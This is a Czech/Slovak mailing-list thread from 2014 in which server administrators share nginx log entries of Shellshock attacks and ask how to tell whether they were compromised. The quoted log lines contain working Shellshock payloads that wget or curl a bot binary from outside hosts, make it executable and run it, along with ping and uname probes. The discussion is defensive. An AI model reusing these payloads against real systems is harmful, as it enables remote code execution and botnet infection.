On 09/29/2014 10:33 AM, Jiří Medvěd wrote:
Tak jsem to zkoumal a toto je celkem bezpecne, je to zda se pouze test, zda-li je ten bash zranitelnej, ale ve skutecnosti to nic nedela.
74.201.85.69/ec.z -> je pouze uvitaci stranka nginxu.
ted jo. Ale pred par dny to byl nejaky perlovsky irc bot.
Upgraduj hlavne ten bash :)
Medved
Dne 29.9.2014 v 10:23 René Klačan napsal(a):
Ja mam v logoch nasledovne
root@yuna /home/rene # grep '() {' /var/log/nginx/* /var/log/nginx/access.log:70.42.149.67 - - [28/Sep/2014:08:18:37 +0200] "GET /test HTTP/1.0" 200 193 "-" "() { :;}; /bin/bash -c \x22wget -O /var/tmp/ec.z *MailScanner has detected a possible fraud attempt from "74.201.85.69" claiming to be* *MailScanner warning: numerical links are often malicious:* 74.201.85.69/ec.z;chmod http://74.201.85.69/ec.z;chmod +x /var/tmp/ec.z;/var/tmp/ec.z;rm -rf /var/tmp/ec.z*\x22" /var/log/nginx/access.log:70.42.149.67 - - [28/Sep/2014:08:18:37 +0200] "GET / HTTP/1.0" 200 193 "-" "() { :;}; /bin/bash -c \x22wget -O /var/tmp/ec.z *MailScanner has detected a possible fraud attempt from "74.201.85.69" claiming to be* *MailScanner warning: numerical links are often malicious:* 74.201.85.69/ec.z;chmod http://74.201.85.69/ec.z;chmod +x /var/tmp/ec.z;/var/tmp/ec.z;rm -rf /var/tmp/ec.z*\x22" /var/log/nginx/access.log:70.42.149.67 - - [28/Sep/2014:08:18:37 +0200] "GET /cgi-bin/test.sh HTTP/1.0" 200 193 "-" "() { :;}; /bin/bash -c \x22wget -O /var/tmp/ec.z *MailScanner has detected a possible fraud attempt from "74.201.85.69" claiming to be* *MailScanner warning: numerical links are often malicious:* 74.201.85.69/ec.z;chmod http://74.201.85.69/ec.z;chmod +x /var/tmp/ec.z;/var/tmp/ec.z;rm -rf /var/tmp/ec.z*\x22" /var/log/nginx/access.log.1:209.126.230.72 - - [25/Sep/2014:07:26:09 +0200] "GET / HTTP/1.0" 200 193 "() { :; }; ping -c 11 209.126.230.74" "shellshock-scan
(http://blog.erratasec.com/2014/09/bash-shellshock-scan-of-internet.html)"
/var/log/nginx/access.log.1:89.207.135.125 - - [25/Sep/2014:11:26:32
+0200] "GET /cgi-sys/defaultwebpage.cgi HTTP/1.0" 200 193 "-" "() { :;}; /bin/ping -c 1 198.101.206.138" /var/log/nginx/access.log.1:54.251.83.67 - - [27/Sep/2014:21:35:34 +0200] "GET / HTTP/1.1" 200 193 "-" "() { :;}; /bin/bash -c \x22echo testing9123123\x22; /bin/uname -a" /var/log/nginx/access.log.1:137.189.52.234 - - [27/Sep/2014:23:18:23 +0200] "GET /cgi-bin/test-cgi HTTP/1.0" 200 193 "-" "() { :;}; /bin/bash -c \x22wget http://stablehost.us/bots/regular.bot -O /tmp/sh;curl -o /tmp/sh http://stablehost.us/bots/regular.bot;sh /tmp/sh;rm -rf /tmp/sh\x22"
vyzera to trochu zle :-/ ... co odporucate s tym robit? killnut len podozrive procesy? a pohladat nejake stopy po tom, ci sa nezapinaju po restarte?
2014-09-29 10:10 GMT+02:00 Michal Miklos <mimik@mimik.sk mailto:mimik@mimik.sk>:
jedine si zistit ci mas dobru verziu bashu.
On 29 Sep 2014, at 10:08, Jan B. Kolář <janbivoj.kolar@zazen-nudu.cz mailto:janbivoj.kolar@zazen-nudu.cz> wrote:
Ahoj,
možná hloupá otázka - dá se nějak z logu zjistit, zda ten průnik
byl úspěšný či nikoliv?
Honza
On 29.9.2014 10 tel:29.9.2014%2010:02, Petr Krcmar wrote:
Dne 29.9.2014 v 09:57 Jiří Medvěd napsal(a):
Hele,
z jineho stroje:
Ano, to jsem našel taky. Zjevně se tam někdo snaží tlačit rootkit:
http://petrkrcmar.blog.root.cz/2014/09/29/utoky-na-bash-uz-bezi/
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